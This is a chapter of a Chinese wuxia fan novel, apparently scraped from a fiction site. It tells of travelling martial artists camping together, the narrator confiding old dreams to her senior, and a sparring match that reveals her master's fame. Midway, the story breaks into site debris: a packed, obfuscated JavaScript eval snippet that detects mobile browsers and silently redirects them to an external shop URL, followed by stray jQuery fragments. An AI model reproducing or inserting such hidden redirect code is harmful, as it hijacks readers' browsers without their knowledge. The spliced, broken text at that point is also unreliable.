文趣网 > 其他小说 > [燕云十六声]江南无所有 > 25. 第 25 章
    “往南唐去?”有人策马追上你,见你点头笑道,“那咱们一路!”

    身后又有一男声入耳:“师妹!怎得一路上遇见人就问?”

    他又在马上向你抱了抱拳:“少侠,我这师妹在家野惯了,无意冒犯。”

    一身鹅黄色衣裳的姑娘嘁了声:“眼下往这个方向赶的不都是要去金陵?左右最后要一道打架,我姓魏,单字一个禾,天泉的,那个是师兄,叫魏砚,一杆子下去打不出个屁来,我们两个都随师父姓!少侠,交个朋友?”

    你很喜欢这样大大方方的爽朗姑娘,却忽然起了坏心,一本正经自报家门:“杭州回春堂,观音针,陈慎。”

    陈慎:“……?”

    陈叔好像偷偷笑了。

    “喔!是大夫!”魏禾看了你好一会儿,“大夫怎么用剑?”

    你一本正经胡诌:“我是天才,剑扇双通。”

    陈慎在你身侧无奈地轻叹:“师妹。”

    “好吧好吧!”你装作不情愿的样子解释道,“这是我小师兄,他才叫陈慎,我姓寒姓江姓陈都行,一个是姓余下两个就是名字,魏姑娘你觉得怎么组合好听就怎么来!”

    魏禾笑出声:“你这人真有意思,我倒觉得与你相见恨晚了!”

    在你们身后半步两个当师兄的对视一眼,不约而同地叹了声气。

    你和魏禾迅速熟络起来,一路招猫逗狗,几行人渐渐合成浩浩荡荡的一大群,倒很热闹。

    夜里你们离客栈还很远,仗着人多便就地生火歇息。一众来自天南海北的人围着火堆,从塞北到雪说到江南的雨,又从北方的山聊到南方的水,截然不同的口音交叠在一起,最终都汇成相似的大笑。

    你感受着火苗带来的温度,眼睫轻轻颤了颤。

    这样的场景曾深深刻在在你记忆深处。

    在滹沱的那一场大梦里。

    你记得他们每个人的名字。

    陈慎察觉到你的沉默,将水囊打开递给你:“师妹,怎么了?”

    你接过来喝了好大一口,用衣袖蹭去唇边的水珠:“想起很多故人。”

    那些离奇的,仿佛真的身在其中梦你无法与人说,因为旁人大抵不会信,只会觉得你被仇恨压得神志不清,在说疯话。

    但你始终很愿意告诉小师兄的。

    “小师兄。”你在令人心安的热闹中轻声唤他,“我说什么你都会信吗?哪怕听起来……很荒唐?”

    “会。”陈慎颔首,落在你身上的目光温和而坚定,“师妹说什么我都会信。”

    他的眼睛明明映出很多人,但你却知道,那里面其实只有你。从前、如今、以后,他看着你时候,那里便只有你。

    “我做了一场梦。”你将脑袋轻轻靠在他肩上,“不对,应该是两场。”

    一个叫河西,另一个叫滹沱。

    夜风拂过你的发丝,吹去光怪陆离的记忆上覆盖的薄灰尘:“那里有我的朋友,比如楚玉,在抱山湖,就是她偷偷放我们走的。”

    你同他说大漠里金色的胡杨,风沙追着落日铺满戈壁,悠悠驼铃声响在夕阳余晖里,无助的老人乘着风儿回家;说凉州砭骨的长风,流霞映着大雪遮蔽孤城,猎猎旌旗声荡在万顷碧空,漂泊的游子枕着明月安眠;说秦川四时盛景,牛羊隐在草地传唱牧歌,潺潺流水声淌在苍茫原野,老去的画师寻着旧路归来。

    你同他说长安。

    “小师兄,河西太大了。”你望着头顶那轮与旧时并无区别的明月,“普通人的一生淹没在里面,就像不慎落入西湖的一滴水。那里的人总在看头顶的月亮,他们说月亮里有长安,后来我明白,原来我自己也在追那月亮。”

    你不再说了,停下来看着他笑,好久好久:“月光照到我,我又有家了。”

    陈慎忽然很难过,他想到你孤身一人吹过风淋过雨,便不自抑地感到心疼:“师妹,辛苦了。”

    你的鼻子倏地一酸,面颊在他颈间埋得更深:“还有中渡桥,我梦到那里,我在那儿遇到了江叔……小师兄,我很想他。”

    陈慎安抚般揉了揉你靠在他肩头的脑袋:“师妹,我们很快就会见到江前辈了。”

    你闭着眼,风声卷着热闹的人声撞进耳中,你却听到了故人的声音,他们说世危时艰,愿慷慨赴义,以身扑火。

    而那些人如今都不在了。

    今日你身边是一群同样潇洒恣意的义士英豪。

    你睁开眼,直起身看了谈笑甚欢的人们很久,声音很轻很轻:“小师兄,我们会赢的,对吗?”

    陈慎还没来得及回答,天泉那位魏姑娘便笑眯眯过来问你:“夜里风凉,要不要尝尝北方的烈酒?”

    你向她道谢,接过来抿了一口,辛辣的味道瞬间填满喉咙。

    魏禾将你们刚才的小动作看得很清楚,生等着你坐直了才过来,但她实在按捺不住那颗熊熊燃烧的八卦之心:“这位姑娘,能搂搂抱抱的,在我们北方一般不叫师兄,叫情郎。”

    你:“……”

    陈慎:“……”

    “师妹!不得无礼。”是她那位师兄的声音,他向你们抱了下拳,“抱歉,师妹素爱胡闹,是在下管束不周,她并无恶意,望二位见谅。”

    你:“……”

    这一幕怎么颇有几分眼熟呢?

    陈慎在你身侧笑起来。

    “哎呀师兄你管得也太多了!”魏禾嚷嚷道,“我和这位女侠相见恨晚一见如故!已经是很好的朋友了!”

    你:“……?”

    这事儿你怎么不知道?你们不是上午刚认识?

    不过你的确很喜欢她,便笑盈盈应:“是呀,我们已经是很好的朋友了!而且她说得没错!小师兄的确是我的——”

    “师妹!”

    魏禾看看他,又看看你,凑到你耳边用恰好他们两个也能听见声音说:“他脸怎么红成这样?”

    你欲盖弥彰地用手遮住嘴巴,配合地也以他们两个能听见的声音回:“他脸皮薄。”

    魏禾:“那岂不是很好逗?”

    你:“魏姑娘明鉴!”

    魏禾已经憋了一路,握着剑柄的手蠢蠢欲动,眼睛也在发亮:“少侠,比比?”

    与声名显赫前辈交手,十次里你或许有五次会落下风,但平辈——

    你绝无敌手。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936282|213723||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    比武讲究点到为止,魏禾性格爽朗,坦坦荡荡说自己输了。

    前辈们原在随意谈笑,在瞥见你借力反身一刺,朝魏禾甩去两道剑气时不约而同静下来看向你。

    他们记得刚一见面你就说过,自己姓寒姓江姓陈都行。

    你口中这个江,莫不是江晏的那个江?

    而一路和你形影不离,两个人黏黏糊糊腻腻歪歪的后生姓陈,还使扇子。

    ……是陈子奚的陈?

    某些久远的被挑衅的记忆涌上心头。

    他们的目光终于落到陈慎身边那个戴帷帽的,被他叫师父的人身上。

    然后有与陈叔差不多年纪的人起身见礼:“玉山君。”

    陈子奚并未起身,只是略略颔首以应。

    方才未动的人纷纷起身,与他差不多年纪的见礼端正,年长的只是略略一抱拳。小辈们慌里慌张跟着师父起身,晕头转向地跟着行礼唤玉山君。

    “哇!”你在小师兄耳边小声感叹,“陈叔这么有排面呀?”

    陈慎:“师父的确很有声望。”

    你:“词不对。”

    陈慎:“……?”

    “小师兄你应该说。”你清清嗓子,学着他当初在船上的模样道,“如今武林中声名赫赫的侠客,师父确为其一。”

    陈慎失笑:“师妹记得倒清楚。”

    你得意地哼了声:“小师兄说的每句话我都记得很清楚。”

    而后他的耳尖便又红了。

    此时魏禾再次从天而降,要她的师兄和陈慎也比比,试图找回场子。

    魏砚无奈地劝她:“师妹,人家是大夫。”

    “大夫怎么了?大夫也很打的!”你此生最不能忍受被人看扁,哪怕是好意,于是气势汹汹替小师兄表态,“比!天泉不是喜欢仗义疏财吗?要是输了,魏公子你赔我十两银子!”

    “才十两?真是狮子小开口。”魏禾说,“比就比,输不了!”

    然后魏砚就输了。

    魏禾自己输的时候大大方方,师兄输的时候蔫头耷脑,她垂头丧气塞给你一个钱袋子说剩下九十两欠着,一个人跑去抱着树桩子生闷气:“你怎么连大夫都打不过啊?平时揍我不是很厉害吗?他们是回春堂的,青溪的不会也这么能打吧?那我们就是师门不幸了师父会揍死我们的……”

    你哭笑不得,用手肘碰了碰小师兄:“听见了吗?夸你能打。”

    “不如师妹。”陈慎稍顿,又问你,“若我方才输了,师妹也会如此吗?”

    “当然不会呀!因为我知道输不了!”你弯弯眼睛,“咱们出门可是江叔陈叔的脸面!他们两个都是江湖传奇了,徒弟比别人厉害那么一点儿理所应当!”

    江湖传奇之一抬手敲你脑袋:“一看就疏于练功,蹦得还没蚂蚱高。”

    你哀怨地看着陈叔。

    看戏的前辈终于忍不住,朗声笑道:“小家伙,想不想听故事?”

    你眼睛唰地亮起来,巴巴凑过去闻:“什么故事?”

    “玉山君和江无浪当年招猫逗狗的故事。”

    陈子奚甩开扇子:“只管讲,又没输给你。”